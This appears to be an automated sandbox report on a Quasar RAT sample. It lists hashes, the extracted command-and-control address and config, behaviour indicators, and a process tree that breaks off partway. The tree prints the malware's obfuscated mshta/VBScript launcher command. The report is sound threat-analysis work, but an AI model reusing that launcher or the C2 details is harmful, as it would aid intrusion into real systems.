quasar | 6d886767f487cd0bc1ee29c899540e2ccfe6f1d3253ea629acd8d397a0a84faa

Analysis

max time kernel
60s
max time network
60s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
18-08-2024 13:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Release/Handlers/Handler.bat
Size

12.7MB
MD5

e154d92aa7ecd7728940f32bb2c82cc6
SHA1

b004e191ae993b3deab2d77c6f99c64e5de55672
SHA256

37be53a96145cd6ad7557e95d85a256377af9d9e126538a4733ebde178254cc5
SHA512

b8b822fc4d8295a59700b7750fff7841f56ed877207e622dd7d7b0435ce737f212d5f754c95f2329b87e83c1ae796b07724276473256d8787f0f87b1871121e4
SSDEEP

49152:Fh5PUtdFBcAJU7Ygqef4u6NE6BGzp3OtWxgusC7QG5r0Wn9O3oGpWJtPS1P8keqj:4

Score

10^/10

quasar v2.2.5 | vanillarat defense_evasion discovery spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.5 | VanillaRAT

163.5.215.216:4782

Mutex

cbadd9b5-ddec-4242-bf61-1d311f862dd3

Attributes

encryption_key
1C7D50D49C8CFBD67416B7A7C9CD3F45FD94217E
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral3/memory/3168-63-0x000001566DBD0000-0x000001566E39A000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 5804 created 376 5804 WerFault.exe dllhost.exe

description	pid	process	target process
PID 5804 created 376	5804	WerFault.exe	dllhost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs

Processes:

Handler.bat.exe$sxr-powershell.exesvchost.exe

description	pid	process	target process
PID 4528 created 616	4528	Handler.bat.exe	winlogon.exe
PID 3168 created 616	3168	$sxr-powershell.exe	winlogon.exe
PID 3168 created 616	3168	$sxr-powershell.exe	winlogon.exe
PID 4528 created 616	4528	Handler.bat.exe	winlogon.exe
PID 3168 created 616	3168	$sxr-powershell.exe	winlogon.exe
PID 3168 created 616	3168	$sxr-powershell.exe	winlogon.exe
PID 6124 created 5820	6124	svchost.exe	dllhost.exe
PID 3168 created 616	3168	$sxr-powershell.exe	winlogon.exe
PID 6124 created 376	6124	svchost.exe	dllhost.exe
PID 3168 created 616	3168	$sxr-powershell.exe	winlogon.exe
PID 3168 created 616	3168	$sxr-powershell.exe	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-mshta.exeHandler.bat.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	Handler.bat.exe

Deletes itself 1 IoCs

Processes:

Handler.bat.exe

pid process

4528 Handler.bat.exe
Executes dropped EXE 5 IoCs

Processes:

Handler.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-powershell.exe

pid process

4528 Handler.bat.exe
1772 $sxr-mshta.exe
2252 $sxr-cmd.exe
3168 $sxr-powershell.exe
4108 $sxr-powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
defense_evasion

Hidden Window
T1564.003

Processes:

$sxr-powershell.exe$sxr-powershell.exe

pid process

3168 $sxr-powershell.exe
4108 $sxr-powershell.exe

pid	process
3168	$sxr-powershell.exe
4108	$sxr-powershell.exe

Suspicious use of SetThreadContext 18 IoCs

Processes:

Handler.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 4528 set thread context of 4268	4528	Handler.bat.exe	dllhost.exe
PID 4528 set thread context of 3552	4528	Handler.bat.exe	dllhost.exe
PID 3168 set thread context of 3700	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 2916	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 4788	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 4900	3168	$sxr-powershell.exe	dllhost.exe
PID 4528 set thread context of 5176	4528	Handler.bat.exe	dllhost.exe
PID 4528 set thread context of 5240	4528	Handler.bat.exe	dllhost.exe
PID 3168 set thread context of 1280	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 3936	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 5820	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 5708	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 5188	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 376	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 5292	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 2020	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 4460	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 set thread context of 5700	3168	$sxr-powershell.exe	dllhost.exe

Drops file in Windows directory 7 IoCs

Processes:

Handler.bat.exeWerFault.exe

description	ioc	process
File created	C:\Windows\$sxr-powershell.exe	Handler.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Handler.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Handler.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Handler.bat.exe
File created	C:\Windows\$sxr-cmd.exe	Handler.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	Handler.bat.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3460 376 WerFault.exe dllhost.exe

pid	pid_target	process	target process
3460	376	WerFault.exe	dllhost.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

dllhost.exedllhost.exedllhost.exedllhost.exedllhost.exeWerFault.exeWerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

5636 cmd.exe
5524 PING.EXE

pid	process
5636	cmd.exe
5524	PING.EXE

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exesvchost.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies registry class 1 IoCs

Processes:

$sxr-mshta.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5524 PING.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

pid	process
5524	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Handler.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exe

pid	process
4528	Handler.bat.exe
4528	Handler.bat.exe
4528	Handler.bat.exe
4268	dllhost.exe
4268	dllhost.exe
4268	dllhost.exe
4268	dllhost.exe
4268	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
3552	dllhost.exe
4528	Handler.bat.exe
4528	Handler.bat.exe
3168	$sxr-powershell.exe
3168	$sxr-powershell.exe
3168	$sxr-powershell.exe
3168	$sxr-powershell.exe
3168	$sxr-powershell.exe
3700	dllhost.exe
3700	dllhost.exe
2916	dllhost.exe
2916	dllhost.exe
2916	dllhost.exe
2916	dllhost.exe
3700	dllhost.exe
3700	dllhost.exe
3168	$sxr-powershell.exe
3168	$sxr-powershell.exe
3168	$sxr-powershell.exe
4788	dllhost.exe
4788	dllhost.exe
4788	dllhost.exe
4788	dllhost.exe
4108	$sxr-powershell.exe
4108	$sxr-powershell.exe
4788	dllhost.exe
4788	dllhost.exe
4900	dllhost.exe
4900	dllhost.exe
4900	dllhost.exe
4900	dllhost.exe
4788	dllhost.exe
4788	dllhost.exe
4788	dllhost.exe
4788	dllhost.exe
4900	dllhost.exe
4900	dllhost.exe
4788	dllhost.exe
4788	dllhost.exe
4900	dllhost.exe
4900	dllhost.exe
4788	dllhost.exe
4788	dllhost.exe
4108	$sxr-powershell.exe
4900	dllhost.exe
4900	dllhost.exe
4788	dllhost.exe
4788	dllhost.exe
4108	$sxr-powershell.exe
4108	$sxr-powershell.exe
4900	dllhost.exe
4900	dllhost.exe
4788	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Handler.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	4528	Handler.bat.exe
Token: SeDebugPrivilege	4528	Handler.bat.exe
Token: SeDebugPrivilege	4268	dllhost.exe
Token: SeDebugPrivilege	3552	dllhost.exe
Token: SeDebugPrivilege	3168	$sxr-powershell.exe
Token: SeDebugPrivilege	3168	$sxr-powershell.exe
Token: SeDebugPrivilege	3700	dllhost.exe
Token: SeDebugPrivilege	2916	dllhost.exe
Token: SeDebugPrivilege	3168	$sxr-powershell.exe
Token: SeDebugPrivilege	4788	dllhost.exe
Token: SeDebugPrivilege	4108	$sxr-powershell.exe
Token: SeDebugPrivilege	4900	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2040	svchost.exe
Token: SeIncreaseQuotaPrivilege	2040	svchost.exe
Token: SeSecurityPrivilege	2040	svchost.exe
Token: SeTakeOwnershipPrivilege	2040	svchost.exe
Token: SeLoadDriverPrivilege	2040	svchost.exe
Token: SeSystemtimePrivilege	2040	svchost.exe
Token: SeBackupPrivilege	2040	svchost.exe
Token: SeRestorePrivilege	2040	svchost.exe
Token: SeShutdownPrivilege	2040	svchost.exe
Token: SeSystemEnvironmentPrivilege	2040	svchost.exe
Token: SeUndockPrivilege	2040	svchost.exe
Token: SeManageVolumePrivilege	2040	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2040	svchost.exe
Token: SeIncreaseQuotaPrivilege	2040	svchost.exe
Token: SeSecurityPrivilege	2040	svchost.exe
Token: SeTakeOwnershipPrivilege	2040	svchost.exe
Token: SeLoadDriverPrivilege	2040	svchost.exe
Token: SeSystemtimePrivilege	2040	svchost.exe
Token: SeBackupPrivilege	2040	svchost.exe
Token: SeRestorePrivilege	2040	svchost.exe
Token: SeShutdownPrivilege	2040	svchost.exe
Token: SeSystemEnvironmentPrivilege	2040	svchost.exe
Token: SeUndockPrivilege	2040	svchost.exe
Token: SeManageVolumePrivilege	2040	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2040	svchost.exe
Token: SeIncreaseQuotaPrivilege	2040	svchost.exe
Token: SeSecurityPrivilege	2040	svchost.exe
Token: SeTakeOwnershipPrivilege	2040	svchost.exe
Token: SeLoadDriverPrivilege	2040	svchost.exe
Token: SeSystemtimePrivilege	2040	svchost.exe
Token: SeBackupPrivilege	2040	svchost.exe
Token: SeRestorePrivilege	2040	svchost.exe
Token: SeShutdownPrivilege	2040	svchost.exe
Token: SeSystemEnvironmentPrivilege	2040	svchost.exe
Token: SeUndockPrivilege	2040	svchost.exe
Token: SeManageVolumePrivilege	2040	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2040	svchost.exe
Token: SeIncreaseQuotaPrivilege	2040	svchost.exe
Token: SeSecurityPrivilege	2040	svchost.exe
Token: SeTakeOwnershipPrivilege	2040	svchost.exe
Token: SeLoadDriverPrivilege	2040	svchost.exe
Token: SeSystemtimePrivilege	2040	svchost.exe
Token: SeBackupPrivilege	2040	svchost.exe
Token: SeRestorePrivilege	2040	svchost.exe
Token: SeShutdownPrivilege	2040	svchost.exe
Token: SeSystemEnvironmentPrivilege	2040	svchost.exe
Token: SeUndockPrivilege	2040	svchost.exe
Token: SeManageVolumePrivilege	2040	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2040	svchost.exe
Token: SeIncreaseQuotaPrivilege	2040	svchost.exe
Token: SeSecurityPrivilege	2040	svchost.exe
Token: SeTakeOwnershipPrivilege	2040	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

$sxr-powershell.exeConhost.exe

pid process

3168 $sxr-powershell.exe
208 Conhost.exe

pid	process
3168	$sxr-powershell.exe
208	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exeHandler.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exedllhost.exe

description	pid	process	target process
PID 2576 wrote to memory of 4528	2576	cmd.exe	Handler.bat.exe
PID 2576 wrote to memory of 4528	2576	cmd.exe	Handler.bat.exe
PID 4528 wrote to memory of 4268	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 4268	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 4268	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 4268	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 4268	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 4268	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 4268	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 3552	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 3552	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 3552	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 3552	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 3552	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 3552	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 3552	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 3552	4528	Handler.bat.exe	dllhost.exe
PID 4528 wrote to memory of 3552	4528	Handler.bat.exe	dllhost.exe
PID 1772 wrote to memory of 2252	1772	$sxr-mshta.exe	$sxr-cmd.exe
PID 1772 wrote to memory of 2252	1772	$sxr-mshta.exe	$sxr-cmd.exe
PID 2252 wrote to memory of 3168	2252	$sxr-cmd.exe	$sxr-powershell.exe
PID 2252 wrote to memory of 3168	2252	$sxr-cmd.exe	$sxr-powershell.exe
PID 3168 wrote to memory of 3700	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 3700	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 3700	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 3700	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 3700	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 3700	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 3700	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 2916	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 2916	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 2916	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 2916	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 2916	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 2916	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 2916	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 2916	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 2916	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 4108	3168	$sxr-powershell.exe	$sxr-powershell.exe
PID 3168 wrote to memory of 4108	3168	$sxr-powershell.exe	$sxr-powershell.exe
PID 3168 wrote to memory of 4788	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 4788	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 4788	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 4788	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 4788	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 4788	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 4788	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 4788	3168	$sxr-powershell.exe	dllhost.exe
PID 3168 wrote to memory of 4788	3168	$sxr-powershell.exe	dllhost.exe
PID 4788 wrote to memory of 616	4788	dllhost.exe	winlogon.exe
PID 4788 wrote to memory of 676	4788	dllhost.exe	lsass.exe
PID 4788 wrote to memory of 956	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 1016	4788	dllhost.exe	dwm.exe
PID 4788 wrote to memory of 392	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 436	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 1128	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 1136	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 1144	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 1152	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 1272	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 1304	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 1332	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 1412	4788	dllhost.exe	svchost.exe
PID 4788 wrote to memory of 1448	4788	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1016
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6c1e8ae1-059a-4079-9d9a-8b3ac6a37e20}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4268
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{af284ebf-c17d-416a-89fe-4d4c69dab533}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3700
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{95d8d05e-daed-48bd-acd6-088194a59e27}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4788
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{5d4c1b37-9138-4495-8ae4-d154870b7857}
  2⤵
  PID:5176
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{52e53863-69fb-41a0-9e96-acb5f7e0af93}
  2⤵
  PID:1280
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2b6b2dc1-4e67-4c1e-b3ca-4565b2a132b3}
  2⤵
  PID:5820
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 5820 -s 308
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:2456
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{675e7367-5393-4afc-a47e-fcf042d536e1}
  2⤵
  PID:5188
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{eb4d027d-449b-452c-913f-affa67d6daef}
  2⤵
  PID:5292
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{bc2940b0-c17f-4b9b-a5e6-e8e658f8fdea}
  2⤵
  PID:4460

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1128
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2736
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-SuFaBOaZkphcFfsPxOCG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-SuFaBOaZkphcFfsPxOCG4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1392
  - - C:\Windows\$sxr-powershell.exe
